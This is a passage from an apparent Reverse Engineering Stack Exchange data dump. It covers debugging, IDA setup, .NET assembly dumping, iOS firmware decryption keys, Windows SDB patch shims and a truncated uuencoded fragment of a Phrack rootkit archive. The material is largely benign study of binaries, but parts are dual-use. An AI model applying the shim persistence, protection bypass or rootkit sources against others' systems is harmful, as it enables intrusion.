        "Body": "<p>Reversing an application that crashes at the last line of the following instructions:</p>\n\n<pre><code>sub rsp,68\nmov qword ptr ss:[rsp+B0],rcx\nmov qword ptr ss:[rsp+B8],rdx\nmov qword ptr ss:[rsp+C0],r8\nmov qword ptr ss:[rsp+C8],r9\nmovdqa xmmword ptr ss:[rsp+20],xmm0\n</code></pre>\n\n<p>I'm new to reverse engineering and trying to figure out how it is possible that this is crashing. </p>\n\n<p>The memory protection of rsp+20 should be the same as rsp+B0 for example ...</p>\n\n<p>X64DBG: EXCEPTION_ACCESS_VIOLATION</p>\n\n<p>Edit: all numbers in the instructions are in hex! (68, 20, ...)</p>\n",
        "Title": "Moving xmm0 onto the stack results in a access violation exception",
        "Tags": "|stack|exception|",
        "Answer": "<p>According to definition of the assembly command <code>movdqa</code>the memory operand should be aligned by 16 (see <a href=\"http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf\" rel=\"nofollow\">Intel SDM</a> at Vol. 2B 4-63):</p>\n\n<blockquote>\n  <p>When the source or destination operand is a memory operand, the\n  operand must be aligned on a 16\n  (EVEX.128)/32(EVEX.256)/64(EVEX.512)-byte boundary or a\n  general-protection exception (#GP) will be generated. To move integer\n  data to and from unaligned memory locations, use the VMOVDQU\n  instruction.</p>\n</blockquote>\n\n<p>If 20 is not hexadecimal here, it would probably be the cause.\nIn addition if 20 here is hexadecimal, <code>rsp</code> still may not be aligned as needed.</p>\n"
    },
    {
        "Id": "13755",
        "CreationDate": "2016-10-18T15:14:47.683",
        "Body": "<p>On the <a href=\"https://www.theiphonewiki.com/wiki/Firmware_Keys\" rel=\"nofollow\" title=\"iPhone Wiki\">iPhone Wiki</a> there are decryption keys for several, but not all, of the iPhone firmwares (root filesystems and kernelcache files). How were these keys found?</p>\n",
        "Title": "How are the iOS kernel cache and root filesystem decrypted?",
        "Tags": "|firmware|decryption|ios|",
        "Answer": "<p>AFAIK these keys are calculated by the bootrom code using the <a href=\"https://www.theiphonewiki.com/wiki/GID_Key\" rel=\"nofollow noreferrer\">GID (model-specific) key</a> which is disabled afterwards (IIRC) and cannot be used even if you have kernel code execution. So you need to have some kind of bootrom code exec for the specific model you have the kernelcache for.</p>\n\n<p>The actual keys are stored in the <a href=\"https://www.theiphonewiki.com/wiki/KBAG\" rel=\"nofollow noreferrer\">KBAG section</a> of the .img4 wrapper format, encrypted with the GID key.</p>\n"
    },
    {
        "Id": "13757",
        "CreationDate": "2016-10-18T15:44:21.407",
        "Body": "<p>There is an interesting article on Phack:\n<a href=\"http://phrack.org/issues/69/15.html#article\" rel=\"noreferrer\">http://phrack.org/issues/69/15.html#article</a></p>\n\n<p>At the end of the article there is the source appended in a strange encoding. </p>\n\n<pre><code>begin 664 hypervisor_for_rootkit.tar.gz\nM'XL(`%?BS58``^P];7&gt;B2-;]U3ZG_P/K[LXQTU$!$&lt;R0S!Q4['C&amp;1!\\U[&lt;PS\nM/&lt;=%*)5I!`8P+],[_WUO%:!@0,U+)YUNJF,+U*U;5??]E@7,;VSD7.JNY8RG\nM\\'$LR_NH&gt;^57CUEH*`)-XV]&amp;J,:^P_**87F^4N$96A!&gt;T0S'5/A75/511Y%2\n...\n`\nend\n</code></pre>\n\n<p>Does anyone know how to convert this back to the original archive?</p>\n",
        "Title": "Does anyone know this encoding?",
        "Tags": "|file-format|encodings|",
        "Answer": "<p>If you are using a file manager like Total Commander on Windows, simply create a new text file (Shift+F4), name it like you want followed by <code>.uue</code> extension\ni.e. <code>hypervisor_for_rootkit.tar.gz.uue</code></p>\n\n<p>Then paste the whole encoded symbols in that new text file with <code>*.uue</code> extension including the <code>'begin ...'</code> and <code>'end'</code> strings.</p>\n\n<p>Now open (click) that file in Total Commander and it'll be ready to unpack (decode) it to the sidebar location.</p>\n\n<p>Or Files -> Decode File... in menu on selected .uue file</p>\n"
    },
    {
        "Id": "13761",
        "CreationDate": "2016-10-19T04:15:18.383",
        "Body": "<p>I downloaded the paimei tool and dropped the pydbg package files inside .../paimai/pydbg then installed paimei but I can't seem to get pydbg to work. I keep getting an error with pydasm when trying to import pydbg. Any tips?</p>\n\n<p>I have python 2.7 on windows 10.</p>\n",
        "Title": "Getting pydbg working on windows 10",
        "Tags": "|tools|debuggers|python|",
        "Answer": "<p>Are you sure you installed <code>pydasm</code> properly? <code>pydasm</code> cannot be automatically installed by <code>pip</code>, so most installations of dependent software will just assume it is installed when in their own installation process as well as when executing.</p>\n\n<p><a href=\"https://github.com/OpenRCE/sulley/wiki/Windows-Installation\" rel=\"nofollow\">This</a> explains how <code>libdasm</code> and <code>pydasm</code> can be compiled and installed on windows. <a href=\"http://www.securityaddicted.com/2014/02/07/howto-setup-debugging-reverse-engineering-environment-python-tools/\" rel=\"nofollow\">This</a> provides a prebuilt package and shows how to properly install it, together with additional scripts you seem to be using.</p>\n\n<p>It is not too clear from your question, but it might be the case that the missing package is <code>pydbg</code>, depends on how I interpret your text.\nIf that's the case, the second aforementioned link also describes how <code>pydbg</code> can be installed, and additionally google is your friend.</p>\n\n<p>If these links does not work, providing the output of <code>pip freeze</code> will be a good start of additional info.</p>\n"
    },
    {
        "Id": "13762",
        "CreationDate": "2016-10-19T16:28:57.263",
        "Body": "<p>What is the memory address information I should plug into IDA for this BIN file?</p>\n\n<p><strong>GOAL</strong>:</p>\n\n<p>To disassemble a BIN file extracted from firmware.sb</p>\n\n<p>This BIN file contains the low level board initialization, SDRAM clocks, power, Interrupt Controller, LCD, duart, and more.</p>\n\n<p>I need the values passed to the LCD, duart and other to know what exact hardware my board uses and to know if firmware for an earlier board will work on a later board.</p>\n\n<p>I will use these values to create linux drivers at a later date. (LCD)</p>\n\n<p>Ref this <a href=\"https://reverseengineering.stackexchange.com/questions/13720/how-to-make-freescale-imx233-mp3-player-boot-with-identical-type-player-firmware\">question</a>.</p>\n\n<p><strong>BACKGROUND INFO</strong>:</p>\n\n<p>Board initialization sequence:</p>\n\n<p>Part of the this BIN file is loaded into the on chip RAM (OCRAM) for minimal board init. \nThis code is executed and will init the rest of the board most important for this question the SDRAM.\nMore of this BIN file will load into the SDRAM then execute and init the rest of the board. This BIN will then load and pass control to the OS. </p>\n\n<p>Basically a boot loader.</p>\n\n<p>Here is a simple example of this using my custom u-boot and kernel. Oversimplified and information removed for brevity. Actual <a href=\"http://pastebin.com/yRxf1svF\" rel=\"nofollow noreferrer\">BIN file</a> info.</p>\n\n<pre><code>LOAD    addr=0x00001000 len=0x00001ef4\nCALL    addr=0x00001000 arg=0x00000000\nLOAD    addr=0x40002000 len=0x000368ec\nLOAD    addr=0x40600000 len=0x002ed3c8\nLOAD    addr=0x40a00000 len=0x00002b1e\nCALL    addr=0x40002000 arg=0x00000000\n</code></pre>\n\n<p>This is part of the <a href=\"http://www.icpdf.com/FREESCALE_datasheet/MCIMX233DAG4B_pdf_12997699/MCIMX233DAG4B_1529.html\" rel=\"nofollow noreferrer\">memory map</a> for this \u03bcP.</p>\n\n<pre><code>OCRAM 0x00000000 - 0x00007FFF 32KB\nSDRAM 0x40000000 - 0x5FFFFFFF 512MB\nPeripherals 0x80000000 - 0xBFFFFFFF\n</code></pre>\n\n<p>Example of <a href=\"http://www.icpdf.com/FREESCALE_datasheet/MCIMX233DAG4B_pdf_12997699/MCIMX233DAG4B_1530.html\" rel=\"nofollow noreferrer\">Peripherals</a>:</p>\n\n<pre><code>CLKCTRL 0x80040000 - 0x80041FFF\nDBGUART 0x80070000 - 0x80071FFF\n</code></pre>\n\n<p>The \u03bcP is a Freescale mx23 or imx233.</p>\n\n<p>This board has 16MB SDRAM 0x40000000 - 0x01000000</p>\n\n<p>In the \u201cARM architecture options\u201d <a href=\"http://3.bp.blogspot.com/-COKB6o6fBJE/Ubd4-TUSzYI/AAAAAAAAAQw/km7kDeNoUB8/s1600/Screen+Shot+2013-06-11+at+9.21.48+PM.png\" rel=\"nofollow noreferrer\">dialog</a> I set:</p>\n\n<p>Base architecture as <strong>ARMv5TEJ</strong>.</p>\n\n<p>VFP instructions as <strong>NONE</strong></p>\n\n<p>Thumb instructions as <strong>Thumb</strong></p>\n\n<hr>\n\n<p>In the \u201cDisassembly memory organization\u201d <a href=\"http://4.bp.blogspot.com/-ioHEcxtZQk8/Ubd2BBkIdlI/AAAAAAAAAQI/pCalNgAYN9M/s1600/Screen+Shot+2013-06-11+at+9.06.42+PM.png\" rel=\"nofollow noreferrer\">dialog</a> I am unsure what to set.</p>\n\n<p>Is the RAM section my SDRAM, 0x40000000 - 0x01000000?</p>\n\n<p>Is the ROM section my OCRAM, 0x00000000 - 0x00007FFF?</p>\n\n<p>What about Input file loading address, file offset, loading size?</p>\n\n<p>Would the loading size be the 16MB of my SDRAM?</p>\n\n<p>Where does the peripherals addresses go?</p>\n",
        "Title": "What values do I use for Freescale ARM imx233 \u03bcP in IDA Pro \u201cmemory layout dialog\u201d for RAM and ROM?",
        "Tags": "|ida|disassembly|arm|memory|",
        "Answer": "<p>I'll make this brief:</p>\n\n<blockquote>\n  <p>Is the RAM section my SDRAM, 0x40000000 - 0x01000000?</p>\n</blockquote>\n\n<p>Yes, this is correct. But AFAIK not too important. IDA will create different segment for different code parts based on this input, but will handle fine which ever values are entered.</p>\n\n<blockquote>\n  <p>Is the ROM section my OCRAM, 0x00000000 - 0x00007FFF?</p>\n</blockquote>\n\n<p>Yes, this is again correct but again AFAIK it's not too important.</p>\n\n<blockquote>\n  <p>What about Input file loading address, file offset, loading size?</p>\n</blockquote>\n\n<p>for low-level code executed, and especially for boot loaders, the loading address should be specified in the chip's datasheet.</p>\n\n<blockquote>\n  <p>Would the loading size be the 16MB of my SDRAM?</p>\n</blockquote>\n\n<p>Yep. IDA will add the RAM address space as an additional segment for you.</p>\n\n<blockquote>\n  <p>Where does the peripherals addresses go?</p>\n</blockquote>\n\n<p>IDA doesn't explicitly support peripherals, you'll need to include those in your RAM definition or create a different segment manually after the file is loaded. You'll need to manually specify what peripheral is exposed at each address either by adding different segments for different peripherals or by creating and naming variables/structures. </p>\n"
    },
    {
        "Id": "13769",
        "CreationDate": "2016-10-20T12:22:20.723",
        "Body": "<p>I wrote a statement in visual studio.</p>\n\n<pre><code>int sum(int a, int b){\n    return a + b;\n}  \nint main(){\n    tong(3,4);\n    return 0;\n}\n</code></pre>\n\n<p>And aften i use ida pro Disassembly it. And my function tong has registers, such as: esi, edi, that i think them willn't be used, i think it use only registers: eax, ebp, esp. Why does ida use them? </p>\n\n<pre><code>.text:004113C0 ; int __cdecl tong(int a, int b)\n.text:004113C0 ?tong@@YAHHH@Z  proc near               ; CODE XREF:     tong(int,int)j\n.text:004113C0\n.text:004113C0 var_C0          = byte ptr -0C0h\n.text:004113C0 a               = dword ptr  8\n.text:004113C0 b               = dword ptr  0Ch\n.text:004113C0\n.text:004113C0                 push    ebp\n.text:004113C1                 mov     ebp, esp\n.text:004113C3                 sub     esp, 0C0h\n.text:004113C9                 push    ebx\n.text:004113CA                 push    esi\n.text:004113CB                 push    edi\n.text:004113CC                 lea     edi, [ebp+var_C0]\n.text:004113D2                 mov     ecx, 30h\n.text:004113D7                 mov     eax, 0CCCCCCCCh\n.text:004113DC                 rep stosd\n.text:004113DE                 mov     eax, [ebp+a]\n.text:004113E1                 add     eax, [ebp+b]\n.text:004113E4                 pop     edi\n.text:004113E5                 pop     esi\n.text:004113E6                 pop     ebx\n.text:004113E7                 mov     esp, ebp\n.text:004113E9                 pop     ebp\n.text:004113EA                 retn\n.text:004113EA ?tong@@YAHHH@Z  endp\n</code></pre>\n\n<p>Can anyone explain their meaning?</p>\n\n<p>UPDATE 1</p>\n\n<pre><code>.text:00411400 ; int __cdecl main()\n.text:00411400 _main           proc near               ; CODE XREF: j__mainj\n.text:00411400\n.text:00411400 var_C0          = byte ptr -0C0h\n.text:00411400\n.text:00411400                 push    ebp\n.text:00411401                 mov     ebp, esp\n.text:00411403                 sub     esp, 0C0h\n.text:00411409                 push    ebx\n.text:0041140A                 push    esi\n.text:0041140B                 push    edi\n.text:0041140C                 lea     edi, [ebp+var_C0]\n.text:00411412                 mov     ecx, 30h\n.text:00411417                 mov     eax, 0CCCCCCCCh\n.text:0041141C                 rep stosd\n.text:0041141E                 push    4               ; b\n.text:00411420                 push    3               ; a\n.text:00411422                 call    j_?tong@@YAHHH@Z ; tong(int,int)\n.text:00411427                 add     esp, 8\n.text:0041142A                 xor     eax, eax\n.text:0041142C                 pop     edi\n.text:0041142D                 pop     esi\n.text:0041142E                 pop     ebx\n.text:0041142F                 add     esp, 0C0h\n.text:00411435                 cmp     ebp, esp\n.text:00411437                 call    j___RTC_CheckEsp\n.text:0041143C                 mov     esp, ebp\n.text:0041143E                 pop     ebp\n.text:0041143F                 retn\n.text:0041143F _main           endp\n</code></pre>\n",
        "Title": "Why ida use redundant registers?",
        "Tags": "|ida|x86|",
        "Answer": "<p>Seems like you renamed the <code>tong</code> function to <code>sum</code> in your C code, but not in assembly, which is from where some of the confusion comes.</p>\n\n<p>Why does <strong>IDA</strong> use those registers? Well, because that's the assembly that the compiler produced from your C code. IDA just uses what's there. So the better question would be: </p>\n\n<p>Why did the <strong>compiler</strong> produce code that uses <code>ebx</code>, <code>esi</code>, <code>edi</code>, <code>ecx</code>, ... when only <code>eax</code> would need to be used?</p>\n\n<p>Actually, the only lines from your <code>tong</code> function that are really neccesary are </p>\n\n<pre><code>.text:004113C0                 push    ebp\n.text:004113C1                 mov     ebp, esp\n.text:004113DE                 mov     eax, [ebp+a]\n.text:004113E1                 add     eax, [ebp+b]\n.text:004113E9                 pop     ebp\n.text:004113EA                 retn\n</code></pre>\n\n<p>(and in theory you don't even need to use <code>ebp</code>; you could just use <code>esp</code> do index the stack, saving you another two lines).</p>\n\n<p>The rest is due to compiler flags - optimization level and stack checking level. These lines seem to check if the stack gets smashed somewhere:</p>\n\n<pre><code>.text:00411403                 sub     esp, 0C0h\n.text:0041140C                 lea     edi, [ebp+var_C0]\n.text:00411412                 mov     ecx, 30h\n.text:00411417                 mov     eax, 0CCCCCCCCh\n.text:0041141C                 rep stosd\n.....\ntext:00411437                 call    j___RTC_CheckEsp\n</code></pre>\n\n<p>which allocates 192 (hex C0) bytes on the stack, fills them with <code>CC</code>, and later calls a function that supposedly checks if those <code>CC</code> bytes are still there. This smashes <code>eax</code>, <code>ecx</code> and <code>edi</code>. If you disable stack checking somewhere in the compiler options, this part will be omitted.</p>\n\n<p>Also, the compiler probably has a convention that functions should never change <code>ebx</code>, <code>esi</code> and <code>edi</code>. Which is why it produces <code>push</code> operations at the start, and <code>pop</code> and the end, for these registers, of the function. If optimization was turned higher, it would probably note that <code>esi</code> and <code>ebx</code> are never used in the function, so it'd optimize those lines out.</p>\n\n<p>So to sum it up: in addition to your C code, the compiler does some internal housekeeping, which produces code that accesses more registers than your code alone would need. Messing with compiler options changes the amount of housekeeping that's needed. And IDA just displays what's there, it doesn't have a say in what the assembly, produced by the compiler, contains or doesn't contain.</p>\n"
    },
    {
        "Id": "13781",
        "CreationDate": "2016-10-21T18:04:53.860",
        "Body": "<p>I have a client application that, once the user is authenticated with my server, sends a byte array which is then loaded using Assembly.Load. I am pretty sure once that happens, even if the loaded bytes are dumped from memory, they cannot be used to re-construct source code. I just wanted to confirm this, or get more information in case I am wrong.</p>\n\n<p>Thanks!</p>\n",
        "Title": "Can my C# program be dumped from memory and reversed into source code?",
        "Tags": "|disassembly|decompilation|.net|",
        "Answer": "<p>It is in fact trivial to dump the byte array or the module directly from <a href=\"https://github.com/0xd4d/dnSpy\" rel=\"noreferrer\">dnSpy</a>.</p>\n\n<p>To mimic the described scenario I wrote some trivial example code:</p>\n\n<pre><code>using System.IO;\nusing System.Reflection;\n\nnamespace DumpAssembly\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            var rawAssembly = File.ReadAllBytes(\"Test.dll\");\n            var assembly = Assembly.Load(rawAssembly);\n            foreach(var type in assembly.ExportedTypes)\n            {\n                if (type.Name == \"Test\")\n                {\n                    var method = type.GetMethod(\"DoCoolStuff\");\n                    method.Invoke(null, null);\n                    break;\n                }\n            }\n        }\n    }\n}\n</code></pre>\n\n<p>Drop the generated assembly in dnSpy, start debugging and step a little through the Main method. Soon you will be able to save the newly-loaded module:</p>\n\n<p><a href=\"https://i.stack.imgur.com/tr6Ac.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/tr6Ac.png\" alt=\"Dumping the module\"></a></p>\n\n<p>Once the module is saved, opening it in dnSpy will easily give away your intellectual property:</p>\n\n<p><a href=\"https://i.stack.imgur.com/NzmuN.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/NzmuN.png\" alt=\"Decompiling the module\"></a></p>\n\n<p>Now a partial solution for this is obfuscating your module with something like <a href=\"https://yck1509.github.io/ConfuserEx\" rel=\"noreferrer\">ConfuserEx</a> (it's open source, commercial products are available). This might slow down your attackers but it would be naive to assume they cannot decompile and understand your code within a reasonable amount of time.</p>\n"
    },
    {
        "Id": "13790",
        "CreationDate": "2016-10-22T10:35:45.833",
        "Body": "<p>I wonder why the values of the stack pointer in IDA Pro have similar values.\n<a href=\"https://i.stack.imgur.com/mMQiw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mMQiw.png\" alt=\"enter image description here\"></a></p>\n\n<p>Can anyone explain their meaning?</p>\n",
        "Title": "Stack pointer values in IDA Pro",
        "Tags": "|ida|disassembly|x86|",
        "Answer": "<p>The call pushes the address of the next mnemonic on the stack. But the ret in the function explode_bomb will also pop this address from the stack. So the stack value at 0x8048b6e will stay the same. If the jump at 0x8048b67 is taken the stack will also be unchanged.</p>\n"
    },
    {
        "Id": "13793",
        "CreationDate": "2016-10-22T19:15:04.850",
        "Body": "<p>No matter what I do, I can't seem to be able to get my Windows 10 (64-bit, build 1607) to apply any patches in custom SDB's (as described in the <a href=\"https://www.blackhat.com/docs/asia-14/materials/Erickson/WP-Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf\" rel=\"nofollow\">article of Jon Erickson</a> from 2014).</p>\n\n<p>I'm using Jon's <a href=\"https://github.com/rustyx/sdb-explorer/releases/tag/0.9\" rel=\"nofollow\">sdb-explorer</a> to generate a patch SDB from the following source (assuming calc.exe's PE checksum is 0000BE15 and the entrypoint RVA is 0x2900):</p>\n\n<pre><code>!sdbpatch\nAPP=calc.exe\nDBNAME=calc_test\nP:calc.exe,0xbe15\nR:calc.exe,0x2900,CCCCCCC3\n!endsdbpatch\n</code></pre>\n\n<p>The exact commands are:</p>\n\n<pre><code>sdb-explorer.exe -C calc-test.txt -o calc-test.sdb\nsdbinst.exe -p calc-test.sdb\n</code></pre>\n\n<p>The install is successful but has no effect - <em>calc.exe</em> still starts and runs normally.</p>\n\n<p>Hence my question - has the PATCH mechanism been removed or somehow crippled in Windows 10?</p>\n\n<hr>\n\n<p><sup>p.s. I need this for legitimate reasons - I'm trying to patch the touchpad utility which is posting mouse wheel messages which don't work in Windows 10 UWP apps, but the utility is signed with uiAccess=\"true\", so I can't just patch the executable.</sup></p>\n",
        "Title": "Are PATCH shims (.sdb's) no longer functional in Windows 10?",
        "Tags": "|windows|patching|",
        "Answer": "<p>From preliminary investigation by Jon, it seems patching functionality <a href=\"https://github.com/evil-e/sdb-explorer/issues/2\" rel=\"nofollow\">has been indeed removed on Windows 10</a>:</p>\n\n<blockquote>\n  <p>I've compared apphelp.dll on Windows 7 versus Windows 10. The Windows\n  10 version does not have the function SeiApplyPatch. This is what is\n  responsible for performing the PATCH. It appears that Microsoft has\n  removed this feature.</p>\n</blockquote>\n\n<p>However, it seems you can <a href=\"https://twitter.com/aionescu/status/790123280409690112\" rel=\"nofollow\">still use shims</a>, although apparently not on all binaries.</p>\n"
    },
    {
        "Id": "13794",
        "CreationDate": "2016-10-23T10:37:09.710",
        "Body": "<p>I have an app in which I have to manually alter several flags in order to get to the part of the code Im interested in (imagine altering ZF to pass JNZ instruction). I have to do this every time I run application. What is the best way to do this permanently so I can simply run app to the part Im interested in?</p>\n\n<p>I can patch binary (in different program - ie change jnz to jmp) and load it in IDA again but I have no idea how to load IDA database into it (to get my comments, function names I made etc etc).</p>\n\n<p>Is there any way to do this?</p>\n\n<p>Thanks.</p>\n",
        "Title": "IDA & patching question",
        "Tags": "|ida|patching|",
        "Answer": "<p>You don't have to use separate program to patch in ida.\nSimple select/highlight in ida-view where you wanna patch, then in Edit(menu)>>patch byte\nThen after you are done patching what you need, Edit(menu>>apply patches to input file.\nI usually keep the backup ( you get a option for that)</p>\n"
    },
    {
        "Id": "13805",
        "CreationDate": "2016-10-24T20:16:44.230",
        "Body": "<p>I'm trying to debug Windows XP's kernel with KD but every time I start the debugger,it seem to crash.</p>\n\n<p><strong>Setup</strong></p>\n\n<p><em>Windows 10</em> (host machine,running kd)</p>\n\n<p><em>Windows XP x86 SP3 VM</em> (being debugged)</p>\n\n<ul>\n<li>I configured a serial port with the following parameters:\n\n<ul>\n<li>Edited boot.ini on the target OS</li>\n<li>(on VMware) Use named pipe <code>\\\\.\\pipe\\com_1</code></li>\n<li><code>This end is the server</code></li>\n<li><code>The other end is an application</code></li>\n</ul></li>\n</ul>\n\n<p>When I try to connect to my VM I use:<br>\n<code>kd -y srv*c:\\symbols*https://msdl.microsoft.com/download/symbols -k com:port=\\\\.\\pipe\\com_1,pipe</code></p>\n\n<p>After which I get this output:</p>\n\n<pre><code>Copyright (c) Microsoft Corporation. All rights reserved.\n\nOpened \\\\.\\pipe\\com_1\nKernel Debug Target Status: [no_debuggee]; Retries: [0] times in last [7] seconds.\nWaiting to reconnect...\nUnable to read head of debugger data list, Win32 error 0n56\nConnected to Windows XP 2600 x86 compatible target at (Mon Oct 24 20:21:44.286 2016 (UTC + 2:00)), ptr64 FALSE\nKernel Debugger connection established.\n\n************* Symbol Path validation summary **************\nResponse                         Time (ms)     Location\nDeferred                                       srv*c:\\symbols*https://msdl.microsoft.com/download/symbols\nDeferred                                       srv*c:symbols*http://msdl.microsoft.com/download/symbols\nSymbol search path is: srv*c:\\symbols*https://msdl.microsoft.com/download/symbols;srv*c:symbols*http://msdl.microsoft.com/download/symbols\nExecutable search path is:\nWindows XP Kernel Version 2600 UP Free x86 compatible\nBuilt by: 2600.xpsp_sp3_qfe.130704-0421\nMachine Name:\nKernel base = 0x804d7000 PsLoadedModuleList = 0x805541c0\nSystem Uptime: not available\n                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   52: ERROR: UMRxReadDWORDFromTheRegistry/ZwQueryValueKey: NtStatus = c0000034\nERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 127\nERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 127\nERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 127\nwatchdog!WdUpdateRecoveryState: Recovery enabled.\nBreak instruction exception - code 80000003 (first chance)\n*******************************************************************************\n*                                                                             *\n*   You are seeing this message because you pressed either                    *\n*       CTRL+C (if you run console kernel debugger) or,                       *\n*       CTRL+BREAK (if you run GUI kernel debugger),                          *\n*   on your debugger machine's keyboard.                                      *\n*                                                                             *\n*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *\n*                                                                             *\n* If you did not intend to break into the debugger, press the \"g\" key, then   *\n* press the \"Enter\" key now.  This message might immediately reappear.  If it *\n* does, press \"g\" and \"Enter\" again.                                          *\n*                                                                             *\n*******************************************************************************\nnt+0x50d2c:\n80527d2c cc              int     3\nkd&gt;\n</code></pre>\n\n<p><strong>Problems</strong></p>\n\n<ul>\n<li>According to what I found searching around it is correct that the OS freezes as it is in debug mode. Can I actually run and stop it's execution later with breakpoints and such (I know breakpoints can be placed,but I don't know how to execute kernel code)?</li>\n<li>Also, I'm trying to decompile some routines, and I would like to know if there is any command that allows me to know whether arguments are required by the function.</li>\n<li><p>Trying to use the following variable types in KD doesn't work (I guess they're not symbols). What can I do if I want to see the fields in these structures ?</p>\n\n<blockquote>\n<pre><code>NTKERNELAPI VOID KeInitializeApc (\n\nIN PRKAPC Apc,\n\nIN PKTHREAD Thread,\n\nIN KAPC_ENVIRONMENT Environment,\n\nIN PKKERNEL_ROUTINE KernelRoutine,\n\nIN PKRUNDOWN_ROUTINE RundownRoutine OPTIONAL,\n\nIN PKNORMAL_ROUTINE NormalRoutine OPTIONAL,\n\nIN KPROCESSOR_MODE ApcMode,\n\nIN PVOID NormalContext\n\n);\n</code></pre>\n</blockquote></li>\n</ul>\n\n<p>EDIT 1: whatever I had with 'g' is gone,and I can run the XP VM.</p>\n",
        "Title": "Windows XP kernel debugging",
        "Tags": "|windows|debugging|kernel|",
        "Answer": "<blockquote>\n  <p>but every time I start the debugger,it seem to crash.</p>\n</blockquote>\n\n<p>and</p>\n\n<blockquote>\n  <p>According to what I found searching around it is correct that the OS freezes as it is in debug mode.</p>\n</blockquote>\n\n<p>Exactly. It's not crashing, it's only putting a breakpoint at system level:</p>\n\n<pre><code>*******************************************************************************\n*                                                                             *\n*   You are seeing this message because you pressed either                    *\n*       CTRL+C (if you run console kernel debugger) or,                       *\n*       CTRL+BREAK (if you run GUI kernel debugger),                          *\n*   on your debugger machine's keyboard.                                      *\n*                                                                             *\n*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *\n*                                                                             *\n* If you did not intend to break into the debugger, press the \"g\" key, then   *\n* press the \"Enter\" key now.  This message might immediately reappear.  If it *\n* does, press \"g\" and \"Enter\" again.                                          *\n*                                                                             *\n*******************************************************************************\n</code></pre>\n\n<p>Simply press <kbd>g</kbd> then <kbd>Enter</kbd>. Do it again if it doesn't work, and it should run properly. Press <kbd>Ctrl</kbd>+<kbd>C</kbd> (for <code>kd</code>) or <kbd>Ctrl</kbd>+<kbd>Break</kbd> (for <code>windbg</code>) to break (i.e. \"pause\" the system) again.</p>\n\n<hr>\n\n<blockquote>\n  <p>Also, I'm trying to decompile some routines, and I would like to know if there is any command that allows me to know whether arguments are required by the function.</p>\n</blockquote>\n\n<p>You need to load the symbols for the module you're going to debug. To do so, you have a few handy commands:</p>\n\n<ul>\n<li><p><code>.symfix</code> - Fix symbol path</p>\n\n<ul>\n<li>This command sets the symbol path to point to the Microsoft symbol store, i.e. makes your debugger download necessary symbols when needed.</li>\n</ul></li>\n<li><p><code>.reload</code> - the Reload Module</p>\n\n<ul>\n<li>This is the command you will use to load symbols for the module you're interested in. If you were interested in e.g. <code>sysaudio.sys</code>, you'd run the command <code>.reload /f sysaudio.sys</code> - where the <code>/f</code> flag makes the command immediately load the symbols. For your example, <code>KeInitializeApc</code>, you'd need to reload <code>nt</code>. I explain how I found it below.</li>\n</ul></li>\n<li><p><code>lm</code> - List Loaded Modules</p>\n\n<ul>\n<li>This will show the currently loaded modules. Useful for finding the base address of the module you're interested in (for example, <code>sysaudio.sys</code>)</li>\n</ul></li>\n</ul>\n\n<p><strong>To find KeInitializeApc</strong>, you would need to use the <code>x</code> command, like this:</p>\n\n<pre><code>0: kd&gt; x *!KeInitializeAPC\n82aebdf3          nt!KeInitializeApc (&lt;no parameter info&gt;)\n</code></pre>\n\n<p>As you can see, the command shows us the offset of the function (you'll use it later with <code>u</code>), its module (<code>nt</code>), and its full, correct name (<code>nt!KeInitializeApc</code>).</p>\n\n<p>The <code>x</code> command looks like:</p>\n\n<pre><code>x module!symbol\n</code></pre>\n\n<p>You can use wildcards like in my example above, specify options, etc. <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff561506(v=vs.85).aspx\" rel=\"nofollow\">More info about the command in MSDN</a>.</p>\n\n<p><strong>TL;DR</strong></p>\n\n<p>To find <code>KeInitializeApc</code>, you'd do:</p>\n\n<pre><code>kd&gt; .symfix # make the debugger download symbols it needs\nkd&gt; .reload # reload symbols NOW\nkd&gt; x *!KeInitializeAPC # find desired function\n82aebdf3          nt!KeInitializeApc (&lt;no parameter info&gt;)\nkd&gt; u 82aebdf3 # unassemble (disassemble)\nnt!KeInitializeApc:\n82aebdf3 8bff            mov     edi,edi\n82aebdf5 55              push    ebp\n82aebdf6 8bec            mov     ebp,esp\n82aebdf8 8b4508          mov     eax,dword ptr [ebp+8]\n82aebdfb 8b5510          mov     edx,dword ptr [ebp+10h]\n82aebdfe 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]\n82aebe01 c60012          mov     byte ptr [eax],12h\n82aebe04 c6400230        mov     byte ptr [eax+2],30h\n</code></pre>\n\n<p>From there, the decompilation is up to you. You now have the disassembly. I used the <code>u</code> command, which means <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff560235(v=vs.85).aspx\" rel=\"nofollow\"><em>unassemble</em></a>. You can also use <code>uf</code> (unassemble function) to get a more function-friendly output, like this:</p>\n\n<pre><code>kd&gt; uf 82aebdf3 # unassemble function\nnt!KeInitializeApc:\n82aebdf3 8bff            mov     edi,edi\n82aebdf5 55              push    ebp\n82aebdf6 8bec            mov     ebp,esp\n82aebdf8 8b4508          mov     eax,dword ptr [ebp+8]\n82aebdfb 8b5510          mov     edx,dword ptr [ebp+10h]\n82aebdfe 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]\n82aebe01 c60012          mov     byte ptr [eax],12h\n82aebe04 c6400230        mov     byte ptr [eax+2],30h\n82aebe08 83fa02          cmp     edx,2\n82aebe0b 7506            jne     nt!KeInitializeApc+0x20 (82aebe13)  Branch\n\nnt!KeInitializeApc+0x1a:\n82aebe0d 8a9134010000    mov     dl,byte ptr [ecx+134h]\n\nnt!KeInitializeApc+0x20:\n82aebe13 894808          mov     dword ptr 